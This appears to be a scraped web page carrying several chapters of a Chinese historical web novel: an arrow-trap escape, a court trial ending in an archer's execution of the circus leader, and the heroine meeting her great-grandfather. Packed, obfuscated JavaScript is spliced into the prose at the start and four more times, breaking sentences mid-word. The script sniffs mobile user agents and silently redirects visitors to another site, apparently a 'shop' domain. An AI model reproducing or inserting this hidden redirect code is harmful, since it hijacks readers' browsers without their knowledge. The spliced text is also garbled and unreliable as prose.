l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14091360|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”曲霜姿挟住他一只臂膊,威胁道:“出口在什么地方,你不说,我就掰断你的胳膊。” “就在那边挂着刀具的墙壁上。”男人疼得呲牙咧嘴,颐指气使、信誓旦旦的气宇如过眼云烟消散不见。 曲霜姿疾步而至,翻看后果然发现了一块儿不同寻常的地方,她回首与沈霁明对视,二人点了点头为彼此打气。然而在她按下按钮的那一刻,有箭矢破墙齐齐发出,饶是曲霜姿早有防备,也是躲过了明面上的,而未来得及躲过身后来的。 “曲霜姿!”沈霁明下意识松了对男人的控制,想替少女扫清威胁,可是一切都太迟了,箭矢正中曲霜姿胸口,曲霜姿登时吐出一口鲜血再站不稳了。 是他们低估了这人的阴险狡诈,他像是认定了二人不会现在对他怎么样,就更肆无忌惮地大笑起来。 “我就不告诉你们,有本事杀了我,我们一起困死在此处。” 曲霜姿的伤势迫在眉睫,沈霁明扑过去将她抱在怀里,“曲霜姿,别睡!别睡!” “你不想为你阿娘复仇了吗?”男人几乎要声泪俱下,曲霜姿缓缓抬手,捂住他的嘴巴,“别吵了,快去把他控制住,找到出去的法子。”少女气若游丝,每艰难吐出一个字都会带出汩汩鲜血。 沈霁明连忙答应,他将少女平稳放下,提刀一步步向马戏团首领走去,“你若是不想要这条命,我现在就成全你,等我破开这墙,想必也能出得去。” “哪有那么容易,你也真是傻,帮大安的女子,你难道忘记你是谁了吗?”他虽连连后退,嘴上却依旧不饶人地挖苦。 沈霁明眼底猩红,眸光流转间尽是恨意。 沈霁明一步步逼近男人,看着他慌不择路险些自己扯掉摆放他收藏品的布帘。终于马戏团首领退无可退,腿软栽了下去,他只得看着沈霁明朝他走来,有如从地狱爬出的鬼煞,浑身都是阴冷的气息。 “说,要如何出去?” “快说!”沈霁明将剑毫不留情地插入男人腹部,发狠地搅动。 “我说、我说。”马戏团首领终于妥协,帮二人打开了密室通往外界的门,沈霁明却依旧不打算放过男人,他抽出剑来又是狠狠一捅,却丝毫不威胁男人的性命,叫男人生死不如。 像是一条上岸即将要旱死的鱼,在原地苦苦蛄蛹挣扎。 “你难道真的忘了自己是谁?” 沈霁明垂头贴近男人耳朵,他的发带不知何时散开,如墨的长发被血液沾染在他脸颊上,更如鬼魅一般。 “我不管你是哪国来的细作,我都是沈霁明。”都是曲霜姿口中的沈霁明,他皮笑肉不笑地用手指勾起地上的发带,将男人的腿绑在自己腰间,一路拖着他行走。 “我带你出去,”沈霁明轻轻抱起地上几近昏迷的少女,亲吻她的额头,“我不会让你死的。” 他加快脚步,很快离开密室,身后被拖行的马戏团首领叫苦不迭、苦苦哀求,沈霁明置之不理,他满心都是曲霜姿。 然而未等他走出多远,地上的男人突然吹起口哨,口哨尖锐刺耳。没过多久,便引来一声震天动地的狮吼。 曲霜姿眼睛勉强睁开一条缝,在他怀里咬牙提醒:“快扔下他,我们跑!” 69. 最后的底线 沈霁明起了一身鸡皮疙瘩,浑身直冒冷汗,他腾出一只手抽剑斩断了二人之间的发带,马戏团首领却是不依不挠地反扑,紧紧拽住沈霁明的衣摆不放。 马戏团的狮子虽被人的血腥养出来了暴戾,却意外地认主,又被空气中隐隐的血腥吸引,毫不迟疑地冲着曲沈二人扑过来。 两条腿的沈霁明还抱着曲霜姿,自然跑不过四条腿的狂狮,曲霜姿看不清身后形势,但却依稀看见了余肃的身影。 余肃的目光并没有落在他们身上,神情肃穆,挽袖搭弓拉箭,动作迅疾毫不留情,三支箭矢绕曲霜姿而过,掀起骇人的风浪,曲霜姿下意识闭上了眼。 她感觉自己飞了起来,又轻轻落下,她隐约听见沈霁明的闷声,却一时不敢再睁开眼睛,就此昏迷过去。 “霜姿!霜姿!” 曲霜姿被余肃叔叔的声音唤醒,她沉沉抬起眼皮,发现自己已经到了余肃的怀里,余肃正忙着喊太医,看见她醒来,一滴眼泪落了下来,滚烫无比。 “霜姿,你撑住,爹爹来了,爹爹来了。” 像是在哄小孩儿一般。可惜,她没有力气去回应,只能模糊地视物。曲霜姿下意识寻找沈霁明的身影,但却怎么都找不到,她不安地轻微挣扎,终于将身子转了小半圈儿,终于看见孤零零躺在那里的男人,看见他背后可怖的血痕,还有一旁被乱箭射死的狮子。 他们倒在一大摊刺眼的鲜红当中。 曲霜姿抬手,拼命想要去触摸。 终究难敌意识消弭。 她脑海里只剩下最后一丁点念头——“沈霁明,你要活着。” — 据说人之将死,其一生便会如走马观花一般一幕幕出现在脑海里。曲霜姿痛苦地挣扎着,梦境里一会儿是她阿娘在给她讲故事,下一刻阿娘就变成冰冷僵硬的尸体,脸色苍白惨淡,再一会儿阿娘就又变成了鬼魂,时而夸她,时而怪她。 她整个人像是在温水里熬煮的青蛙,痛苦至极、焦灼难耐。 余肃板着脸道:“你不该来盛京。” 乐知哭丧着脸说:“其实你根本救不了任何人。” ……杂杂乱乱翻江倒海的碎片把她吞噬淹没,最后完完全全陷入一片死寂的黑暗。 曲霜姿听见沈霁明的声音。 “是你吗?沈霁明!”曲霜姿拼命地爬起身来,在黑暗中四处张望,“你在哪儿?”十岁左右的小男孩脸上仍带着稚气和傲气,带着几分颐指气使地出现在少女面前。然而却只是泡影,曲霜姿伸手一探,就烟消云散了。 “你害我回不了家,害我困在这深宫,害我受人欺辱、害我……”幽怨的声音传入曲霜姿的耳朵,曲霜姿猛地回头,捕捉到初入盛京时见到的那个凶巴巴冷冰冰的沈无逆。 “对不起,我不知道。”她扑上去道歉,泡影又幻灭了,她扑空重重摔倒在黑暗里,黑暗变得湿哒哒黏糊糊的,捂得她呼吸不上来,连骨头都要化成一滩水似的。 无数张沈霁明的脸围绕着她旋转,曲霜姿努力伸手去触摸,如水中捞月,皆是一无所获。 不知过了多久,少女已然头晕眼花、几欲呕吐,周遭突然陷入诡谲的死寂,只有远处的地上有一个黯淡的光影。 曲霜姿迈着沉重的步伐走上前,看到了那微芒褪去后,满身是血的沈霁明。 她顿时脱力,无助地跪倒在地,哽咽着哭不出声来,“对、对不……对不起、对不起……对不起!!!!” 是她太任性妄为、太胆大包天,做任何事情都不考虑后果,是她害了身边的人,是她太过废物,拖累身边的人,还没办法给阿娘报仇,让沈霁明回不了家!让阿娘死不瞑目! “啊——”曲霜姿尖叫着从梦里醒来。 浑身已然湿透了,连同身上的被褥都被沾湿,沉重得不像话。 “霜姿,你醒了。”余肃惊喜地瞪大眼睛,不断抚摸曲霜姿的头,少女隐隐可以感觉到,叔叔的手在不断颤抖。 叔叔……她想出声安慰,却怎么都发不出声音。 “傻孩子,你怎么能擅自行动,出了这样的事情,你让叔叔怎么和你阿娘交代?”余肃强忍着眼泪,但泪水还是如断了线的珠子,直直从脸颊滑落。 “你以为我是为了谁活到现在,你以为我为什么总管束着你,傻孩子,傻孩子……” 曲霜姿强挤出了个笑容,泪水也是止不住地流下,她无声作了个口型,唤道:“爹爹。” 爹爹。她还记得,余肃对她说,爹爹来了。 太医来看过后,曲霜姿被喂了药和水,嗓子总算能发出声音,她抓着余肃的袖子不放,费力挤出一句话:“乐知,还有沈霁明。” “乐知,我已派人去找,很快会有消息。”他语气戛然而止,深深看向曲霜姿,眼神里掺着浓重的不解。 曲霜姿听他停顿,一颗心提到了嗓子眼,急着开口再问却呛咳不止,余肃连忙帮她顺气,无奈叹息道:“他没事,还活着。” 少女这才松了口气,呼吸逐渐平缓起来。 余肃还想说什么,却生生止住,接着又是一声叹息,“罢了,你好好休息,今日陛下会提审那马戏团首领,有我在,你且安心。” 曲霜姿点点头,她忽然想起什么,虚弱道,“敌国……细作。”她四个字说的断断续续、支离破碎,余肃听完沉默一瞬,浮起一个无力的笑容,“我没听清楚,不过这案简单,没什么值得深究的,放心。” 少女怔然,眸子颤动,脸上满是不可置信。 余肃同样耳力过人,自少时起便得意于官场,深谙家国之事,不可能听不懂她的话。“放心”二字,比起安慰,更像是一种提醒,难不成……曲霜姿心中如雷作响,难不成这案子背后还有更不可告人的秘密!? 难不成又与二皇子有关系? 她脑中掀起惊涛骇浪,而余肃已然气定神闲立于朝堂之上。 温孤昪冷冷看着他,眼里像是有一团阴火在燃烧,恨不得将他彻底吞噬,挫骨扬灰。余肃报之以轻轻一笑,微微拱了拱手,不紧不慢道:“陛下。” 朝中众人一时鸦雀无声。 直到那位九五之尊淡然开口,“余爱卿,终于来了。” “小女受伤严重,需得有人悉心照料。”他直勾勾地盯着温孤昪,眼中划过一道狠厉,话里话外都是在刻意强调曲霜姿在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14120686|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 皇家别院受伤的事,语气像是在问罪。 “如今小女在大理寺任职,也算是朝廷命官,马戏团一干人等在玄英荣的带领下,在我盛京为虎作伥、残害女子、蓄意谋害朝廷命官、敌国质子。”余肃略一停顿,转头看向跪在地上拒不认罪的马戏团首领,玄英荣。他眼神冷得如凛冽寒风,玄英荣压根不敢抬头与其对视。 余肃轻嗤一声,戏谑不已,他很少在人前表露出这副模样。二十年前那位盛京第一公子,温文儒雅,良善知礼,为黎民所尊崇、世家所敬仰、百官所效仿。 他突然销声匿迹十五载,一朝回朝,盛京大喜,还有言官大喜——大安的希望又回来了。 但岁月流转,物非人亦非。 余肃一步步走向地上的男人,嘴边仍噙着抹笑容,那笑容绝不是和善的笑,任何人看了都会打几个寒颤,众人皆以为余肃会对男人动手,甚至是当场杀了他。 但余肃没有,他只是居高临下睥睨他一眼,随后收起笑容,高声道:“人证物证俱在,还请陛下圣裁!” 温孤昪还是没有定玄英荣的罪,“你可认罪?”语气不徐不疾。 “认罪,草民驯兽失职,致使猛兽伤人食人,酿成大错,草民认罪!”玄英荣突然改变了主意,一改沉默寡言之态,高声大喊。 “爱卿,玄英荣认罪了。”温孤昪看向余肃,挑了挑眉,“可有异议?” 余肃坦然与温孤昪对视,铿锵有力道:“并无。” “好,此案审完。来人,将此人拖下去,赏二十大板!” 玄英荣保住一条性命,颇为得意地偷笑一声,正好被余肃看得清清楚楚。但那又如何,哪怕他密室摆满人头,也不过是狮子啃食的,没有实质性的证据证明人是他杀的,姬婻身上元阳也不一定就是他的。 他至多就是包庇瞒报之罪罢了。 他被人毫无尊严地拖行着,脸上笑容却越来越灿烂。 有箭矢破空之声响起,玄英荣被从后背穿心,一箭毙命。他目眦欲裂,笑容还僵在脸未完全散去,便骤然倒下,发出砰一声闷响,众人哗然。 余肃收起弓箭,转身朝温孤昪拱了拱手,“臣再无异议。” 九五之尊有意保一个马戏团首领,再容易不过,满朝文武皆知理由牵强,却不敢有任何异议,那便由余肃亲手来了解此案。 他不管温孤昪背地里和玄英荣有什么谋划,动曲霜姿,便是他余肃这一生最后的底线。 温孤昪出乎意料地扯出个诡异的笑容,他站起身来和余肃久久对视,随后缓缓从高座上走了下来。每走一步,都在极度安静的朝堂上回响,叫在场众人心惊肉跳。 “微臣以为,玄英荣一介草民怕是受不了二十杖,与其叫他生不如死,痛苦死去,还不如微臣给他个痛苦,”余肃抬眸,眼中几乎要迸溅出火花,“陛下仁慈之心,想来定会支持微臣的行径。” 温孤昪屏息未言,二人近在咫尺之距,互不相让。 直到一声沧桑却严厉的喊声破开在场寂静。 “余肃,你僭越了。” 余肃怔了半晌,忽得松了口气,半跪在地,“请陛下恕臣僭越之罪。” 70. 最后的亲人 场上鸦雀无声,都在暗暗窥探来者身份,居然只消一句话便能让余相认错跪伏。温孤昪脸色变了变,看不出喜怒,眸中似乎有些讶然。 来人拄着拐杖,被人搀扶着蹒跚前行,周遭气宇却绝不容小觑。他身边侍从先行开口:“平阳王在此,尔等还不跪拜?” 温孤昪躬身行礼,给足了这位平阳王排面,“见过皇叔公,皇叔公今日怎么不在府上好好休息。” 平阳王的名号一出,众人还有些不明所以,但温孤昪的话瞬间点醒了他们。此人还有个更响亮的名声——太长亲王。温孤皇室上上一轮皇权争斗的胜出者,却最终放弃了皇位,一心辅佐当时年幼先帝,对当今圣上更是宠爱有加。只是年岁过长,一场大病后便不再过问朝政,安心养老,从此在人们视野里淡出。 朝上资历稍长的官员,都知道他十五年前回了盛京,再无踏出都城一步,但其在盛京依旧默默无闻,谁都几乎忘了这位地位尊崇的太长亲王。 温孤俞一边咳嗽,一边缓缓挪步,他虽已发须尽白,但精神看着尚且不错。温孤氏的人仿佛有着与生俱来的威严感,两旁的官员跪伏在地,吓得大气不敢出。 “余肃,起来吧,”他徐徐站定,不慌不忙地咳嗽几声,“诸位,请起吧。” “今日兴致突发,想看看陛下近日可好,远远就听见这殿里喧闹不止,是怎么一回事儿啊?”温孤俞凝视着温孤昪,盛忠忙谄媚着开口:“殿下您有所不知……”盛忠话刚出口便被打断。 温孤俞肃然道:“还是陛下亲自与老身说吧,旁人说的,老身上了年纪,听不清。”他板着嘴笑了笑,伸手指了指自己的耳朵。 温孤昪虽一向敬重这位皇叔公,此时此刻却也有些难堪,但他还是屈尊降贵开了金口,简略客观地叙述了案情。 “哦,”老人倚在拐杖上,他身形晃了晃,疲累道:“原来如此。” 温孤昪挤出笑来,“快给皇叔公赐座!” “余肃,你呢?”老人安坐在金镶玉的龙凤软椅上,抬眸看向余肃,余肃自然而然地换上笑容,行至太长亲王身前躬身道:“臣愿领罚。” “只望您不要气坏了身子才是,”余肃眼里关切不似有假,温孤俞嗤笑一声,“你们不要让老身操心才是,老身快入土的人了,可不想再看见什么腥风血雨,惹人烦。”老人摆摆手,语气轻快起来,“陛下看看,要怎么罚他的僭越之罪呢?” 温孤昪咬牙,语气佯装出和善,“不妨事,余相也是朝中德高望重的老人了,是朕的心腹,其所为正合朕意,朕又怎么忍心苛责余相?” “罢了罢了,老身不管你们的事情,只是陛下千万不要忘了老身这老骨头才是,老身在这盛京城孤苦得很呢。” “还是阿肃孝顺,痊愈之后常来看老身。” 温孤昪脸色骤变,像是结了层深渊寒冰。 温孤俞一生确实孤苦,他无儿无女,妻子早逝,再娶后仍未有子嗣,只意外得了个女儿。然而女儿福薄,依旧没能让他子孙满堂,只又误打误撞捡了个女娃养着,没过多少年,竟叫他白发人送黑发人——女儿、女婿,还有这小孙女,都兰摧玉折了…… 老人浑浊的眼睛紧盯着温孤昪,盯得他如芒刺背。 — “外祖父,您不该来的。”余肃叹息一声,皱起眉头,胳膊紧紧搀扶着老人。 “我不来,你今日如何应对?”温孤俞咳嗽几声,恹恹地阖眸养神。 “晚辈总有办法,怎敢劳烦您,您得看顾好自己的身子啊。”余肃担忧道。 温孤俞缄默半晌,沉声开口质问:“说得比唱得好听,年岁不小了,人反而愈加不稳重了,”老人声音颤抖,将声音压到最低,“你打算瞒我到什么时候?” 余肃浑身一僵,知道再打呵呵已然无用了。 他回盛京差不多半年,其实也就看过老人家三次,每次都是待片刻便离开,温孤俞早觉察出不对劲来。 是了,曲婧正是温孤俞的孙女,虽没有血缘关系,却是从小抚养长大,不是亲生、胜似亲生。 “等霜姿身体养好,我带她来拜见您,可好?” “现在,我要见她。”老人气息不稳,眼泪随着颤抖身体淌下,落到寒风里,化作一声永不衰绝的叹息。 — “霜姿醒着吗?”余肃询问守在门前的长风。 得到肯定的答案后,他深吸一口气推门而入,江梅正在给少女喂药。 曲霜姿想要起身给他行礼,却见他身后跟着一位年迈的老人,不由得愣住。 “霜姿,见过你外曾祖父。” 少女猛然瞪大了双眼,不可置信地看向老人,事发突然,她根本反应不过来,如鲠在喉发不出任何声音。 温孤俞踉跄着上前,一双眸子充满悲怆与哀戚,叫曲霜姿心头狠狠颤动,久久屏住呼吸喘不过气来,她亦沉浸在了那份情绪中无法自拔,半晌才迟疑地开口:“您?您是……” 苍老的大手摩挲她的头发,豆大的泪珠颗颗打下,打在曲霜姿的手背。 “孩子,我是你太爷爷。” 老人身形颤抖得不像话,像是寒冬腊月枯枝上最后一片残败的黄叶,摇摇欲坠,“我是你太爷爷。” 余肃赶紧过来扶住他,郑重地对少女点了点头。 “太爷爷。”曲霜姿好不容易挤出一句。 “我是小婧的外爷。” 小婧?外爷? 曲霜姿思忖良久,才试探地开口问道,“阿娘的外爷?” “小家伙,你阿娘是我养大的,她是我的宝贝儿……”温孤俞又哭又笑,整张脸皱作一团,神情诡异又难看。 但曲霜姿根本不在意这些,她的唇轻颤,圆睁的双眼根本控制不住扑簌簌往下落的泪水,她不断重复着老人的话,终于彻底反应过来。 二人抱头痛哭。 老人伸手颤颤巍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14128722|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巍地替她擦拭眼泪,“你的眼睛太像小婧了。” “别哭,以后一切,有太爷爷在。” 她脑子里充满了疑惑,想要开口,却被余肃的眼神阻止。温孤俞冲余肃摆摆手,“小子,你出去吧,她该知道自己是谁。” 余肃眉间皱作一团,急切劝阻道:“外祖父!” 温孤俞置若罔闻,语气坚决,“她得知道她的身世,你放心吧。” 余肃还是不放心,倔强地不肯离去。 “你娘,本名白婧,小字惟熙,是平阳王府的嫡小姐,是我平阳王的外孙女。” 曲霜姿还是搞不明白,“平阳王?” 余肃叹了口气,“外祖父,我来同她讲,你还生歇息吧。”他转头认真看向曲霜姿,被少女眼中炽热的渴求烫得心口一痛,“你面前的,是平阳王殿下,也是太长亲王,是陛下的叔公,他年轻时收养了个女儿,随平阳王妃姓白,名元意。” “白元意与后来的骁勇少将军成亲,但依旧未有所出,意外收养了你的阿娘,几年后夫妇二人便被派去了边关打仗,全由平阳王和平阳王妃抚养白婧长大。” “我也是自幼便识得了你阿娘,”男人脸上浮起一丝幸福的笑意,而后突然语气急转,“后来边关战事危急,你的祖父母便为国牺牲了。”余肃一顿,拳头紧攥得嘎嘣嘎嘣响。 曲霜姿地眨了眨湿漉漉的眼睛,小心翼翼地轻声问:“那后来呢?” “我的……父亲呢?” “还有我阿娘?怎么就……”曲霜姿呼吸急促,不知该如何继续发问。 “后来遭了变故,平阳王府落寞了,你阿娘被迫同我们分开了,”温孤俞开口回答,他看了看余肃,眼神意味深长,“我也不知道你父亲是谁,你阿娘从未提起过吗?” 曲霜姿茫然无措地摇头。 关于余叔叔和阿娘相识的故事,她好奇了十五年,最后却以这样的方式听到了。 这消息于曲霜姿而言可谓是石破天惊,她一时半刻无法消化得了。 温孤俞确实不知道余肃和白婧之间的细枝末节,更不知曲霜姿到底是谁的女儿,是那人的,还是余肃的。但事到如今,这个答案已经并不重要了,余肃已经认了曲霜姿为女儿,便是曲霜姿的父亲。 曲霜姿亦心知肚明,一个让所有人避而不谈,绝口不提的人,想来并不是什么值得称颂之人。 此时此刻,她已经后悔开口询问了。 她惨淡一笑,“我没想到,自己还有这么多的亲人。” “好孩子,你受苦了,”温孤俞爱怜地看着少女,看着她身上惨不忍睹的伤口,心中一阵绞痛,他紧紧握住曲霜姿的手,“你受苦了。” 屋外暮色四合,又有寒风大作,吹灭了江梅刚刚点燃的两支烛火,屋内变得昏暗一片。 余肃轻轻合上双眼,松了口气。 他心中惴惴不安,曲霜姿未来的路,恐怕会更坎坷艰险。 71. 喜欢一个人 沈霁明面色阴沉,不虞地睥睨着跪伏在地的马戏团一干人等,如今他们群龙无首,除了曲霜姿指认的一个,其余的为自保都咬定了和自己没有半分关系, 然而乐知还未找到,曲霜姿还卧床难起,他必须要找到案情的蛛丝马迹,以让那个小姑娘安心。他怒拍惊堂木,“说,你们作为玄英荣的亲信,怎么可能不知道他的所作所为!” “现在老实交代,还算你们戴罪立功!否则——”沈霁明拉长尾音,森森然道:“大刑伺候。” 长风得了示意,立刻举起手中烧红的铁烙,依稀亮起通红骇人的火光,几个小女子顿时吓得花容失色,哆哆嗦嗦地瘫软在地,忍不住低声呜咽。 “别怕,他们没有证据,不敢对咱们滥用私刑!”为首一个端庄镇定的蓝衣女子沉声开口,她话语清冷,说出的话似是定心丸,叫长风的恐吓失去了意义。 沈霁明面色凝重,此女子二十五六,气质不凡、临危而不乱,定不简单。且她说的确实不错,沈霁明虽不怕滥用私刑被罚,但不到万不得已,也不想伤了无辜之人。 不知从何时开始,他的心被曲霜姿感化,都有些优柔寡断了。 他咬咬牙,狠心欲下令。 谁料缄默不言的长风突然冷笑几声,“谁说我们不敢的,”他牵起诡异的笑容,调转烙铁的方向,径直朝自己的肩头烙去,沈霁明出言阻止,可他的动作实在太快。 滋滋的声音作响,浓烟发了疯似地窜出,空气中隐隐有烧焦的味道,在紧张压抑的环境中尤其明显,在场众人的心都揪了起来。长风痛得有些面目狰狞,但脸上可怖的笑容依旧不减,反而更加狂狷,“谁想下一个试试?” 长风慢悠悠地举起烙铁,逼近他们,红彤彤的烙铁在他们眼前打转儿,时而猛得贴近,只在咫尺之间,而长风却仿若无事人一般,好像他是在悠闲地端着杯茶水。 “我说、我全部都说!”终于有个小厮再忍受不住,哭喊着招认了。蓝衣女子皱眉看过去,却没有出言阻止,只是无声叹了口气,兀自攥紧了衣袍。 长风立即把招认的男子提上前来,握拳拱手道:“大人。” 沈霁明冲他招招手,眼神古怪地看向他肩头烧焦的皮肉,“你快下去处理处理吧。” “是。” 长风也真是心狠手辣的人物,对自己尚且如此,又是为了什么接近曲霜姿呢?沈霁明眯起眼睛看着他远去的背影,半晌才回神,“说,如实招供,不然……”他话还没说尽,地上的男子就已经边磕头边哭喊,“大人、大人我全说!” “这些女的,全部都是玄英荣的姘头!” 此话一出,除蓝衣女子以外的姑娘都瑟缩着抽泣开来。 沈霁明心一惊,但并不表露出来,皱眉继续听着。 “那些男的,都帮着玄英荣绑架姑娘,还有后续的一些事情。”男子底气不足,心虚地瞥向马戏团的其他成员。 沈霁明嗤笑一声,“你呢,不是男的吗。” 男子立即谄媚道:“我这不是在向您戴罪立功嘛。” “还有呢,新抓来的那个姑娘呢?”沈霁明追问道。 男子神色一变,眼神飘忽不定、四处游移、支支吾吾、不知所云。“快说!否则鞭刑伺候,”沈霁明猛得起身,飞快移步到他身前,巨大的威压冲着那男子扑面而来,“我最后问一次,那个姑娘呢?” “大人,大人,不是我不说,只是我说了也怕是晚了。” 沈霁明心提到了嗓子眼,头皮发麻,他用鞭柄抬起男子下巴,逼问道:“这话什么意思?” “本来首领说那小姑娘关到另一间牢房里,但是干事的人疏忽大意,忘了锁门,后来表演结束,猛兽回笼……这些日子又没人给畜牲们喂吃食,那姑娘恐怕已经饿死,或是被猛兽撕成碎片了吧。”男子小心翼翼地说着,不时偷瞧着沈霁明的神色。 提到牢房,沈霁明便想起来了。偌大的皇家别院,必然会有关押犯人的地方,那些牢房荒废后用来关马戏团的动物是再合适不过了。 他立即带了批人马去寻。 牢房内的火把已经熄灭了,黑漆漆的一片,散发出浓烈的腐臭味。一行人都捏紧鼻子,但还是忍不住想要呕吐,有人皱眉吐槽,“这哪里像是有活人的地方?连只老鼠都没有罢。” 长风剜了他一眼,那人瞬间噤声。 沈霁明看在眼里,他知道这些时日,长风已经凭借自己的本事在杂役乃至捕快中建立起了威信。他屏息凝神摸黑寻找,死寂一直持续着,他这才小心点燃火折子。 血腥的场面映入眼帘。 到处沾染着血迹,到处是动物的尸体,一些小猴子、小羊都残缺不已地倒在地上。沈霁明不由自主地吞了口口水,继续往深处移动,他看见死相惨烈的马儿、只剩下半截身子的马……再深处,便是一头奄奄一息趴着的小象,完全不见有乐知的影子。 但单是看着这样的场面,就能想象到这曾歇起过怎样的腥风血雨。 还是他们来晚了,沈霁明攥紧拳头,若是被曲霜姿知道……简直不堪设想,他无声叹了口气。 与此同时,他敏锐地捕捉到了一声嘤咛。 “乐知?”他喊道,连带着一群人都跟着喊,喊声在地下牢房里不断回荡、连绵不绝。 小象在喊声中颤颤巍巍地爬了起来,它哀怨低沉地冲着一行人叫。沈霁明定睛一看,小象身后躺着都不是乐知是谁? “快救人!” 乐知还处于昏迷状态,身上衣物都被鲜血染就成褐红色,手臂处、腿处都有不同程度的伤口,手中却紧紧握住一根象牙。长风欲将她抱起来,她却猛得睁开眼睛,举起象牙刺在长风肩头,长风旧伤未愈、又添新伤,痛得闷哼一声。 女孩儿终于看清来人,吓得松手,象牙滚落在地,少女再忍不住眼泪,崩溃地大哭,直至哭累了才又昏睡过去。 — 余府,曲霜姿一听乐知被救回来了,连忙就要起身去看,可无奈身体太过虚弱,长风无论如何都不许她起来。 “嘶——”动作牵连到伤口,纱布处又渗出血迹,曲霜姿痛哼道。 “你们二人都是非同一般的女子,”长风轻声道:“但现下养好伤才是最重要的。” 江梅不耐烦地走过来,“你怎么又乱动,大夫嘱咐了至少半月不许下床,现在我又得给你重新包扎了。” “抱歉啊。”曲霜姿无奈道。 长风挑了挑眉,对这一双主仆的相处方式很是诧异。曲霜姿只好趁着江梅去取纱布,轻声解释:“她不喜欢这里,也不喜欢我,之前我就感觉出来了。” “你可是救了她的性命。” 曲霜姿摇了摇头,“不,那日如果仅凭我一人之力,绝对救不了她,我们最后都落荒而逃了,不是吗?”她苦笑一声。长风皱眉不解,“可再怎么说,你也出了力,且她现下又在余府要生活,你是主、她是仆。” 门外有人影晃动,是江梅回来了,曲霜姿连忙拽了拽长风的袖子,她摇了摇头,低声道:“都是为了生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14172944|144594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活,哪里就是主仆的道理了呢?没有谁是低人一等的,只要她恪守本分、做好该做的,喜不喜欢我又怎么样呢?” 长风叹了口气,江桃之前因为误会不喜曲霜姿,所以江梅也就跟着姐姐讨厌曲霜姿,现在在她心里,曲霜姿又是分开她们姐妹俩的“罪魁祸首”。 从自在的小姑娘到居他人屋檐下为仆为奴,这心里的成见怕是一时间减轻不了。 毕竟讨厌一个人比喜欢一个人容易得多。 “那乐知呢,她受伤严重吗?” “我还是不放心,要不你带我去看看,”她用祈求的眼神看向长风,“或者你具体讲给我听也行。” 江梅推门而入,冷冰冰地盯着长风,“我要给她换药了。” 长风叹气,转身欲走,曲霜姿眼疾手快地再扯住他的袖子。这下轮到长风痛哼了,他身体瞬间一僵,曲霜姿惊得连忙松手,“你受伤了?严重吗?” “让我看看。” 长风摇摇头,“不妨事,大理寺还有要事,我先走了。” 曲霜姿泄了气,任由江梅替她包扎,这小妮子办起事来倒还利索仔细,包扎时万分小心,曲霜姿几乎没有感觉到疼。 “多谢,”曲霜姿讪笑着道谢,“你明天休沐吧,要不提前回去陪陪姐姐。” 江梅没吭声,只是故意将纱布拉紧,但还算知轻重,曲霜姿哎呦叫唤一声,“罢了罢了,我一定好好养伤,这换一次纱布也怪疼的。” “你要是好不了,我姐姐就会怪我照顾不好你。”小梅不情不愿道:“所以你快点好吧,等你好了我才好和我姐姐交代。” 曲霜姿一愣,笑着道:“好。” 长风前脚刚走,沈霁明后脚就来了,他也就看过少女一次,其余时间一直在大理寺忙碌,二人互相忧虑地打量,竟不约而同地开口:“你的伤如何了?” 沈霁明听她说话中气十足,暗自松了口气,“我早好了,倒是你现在都下不来床。” 曲霜姿哼了一声,着急追问道:“乐知怎么样了?” “醒了,我也问过话了,就是玄英荣拐骗了她,玄英荣谎称你找她,她就被骗去了。” “我是说她的伤怎么样了,玄英荣都死了,自然是活着的人比较重要。”曲霜姿一想到玄英荣就头痛欲裂,她闭上眼睛喘息片刻,等待沈霁明回答。 “不严重,只是胳膊受伤比较严重,伤了筋骨,得修养些日子,晚上就将人给你送回来。” “怎么都受伤了啊。”曲霜姿疲累地靠在床头,一副没精打采的模样。 “都?”沈霁明纳闷地问,旋即他反应过来,他压低声音,“长风可真是个疯子,刑具先往自己身上用,有这样的人物在身边,你一定要小心。” 曲霜姿吃了一惊,连忙叮嘱江梅:“下次他回来,立刻让他来见我。” “别把我的话当耳旁风,”沈霁明攥紧眉头,伸手在曲霜姿额头处一弹,曲霜姿连忙转头瞪他,疼得她龇牙咧嘴。 男人俯首贴近她耳朵,小声道:“他不是在外学艺吗?我已调查了他所说的那位大师,那位大师已经死了,连同他整个师门全都死光了,你难道不觉得可疑吗?” “我身上也没什么好图谋的吧?”曲霜姿虽是笑了笑,但听了这番话心中还是五味杂陈。 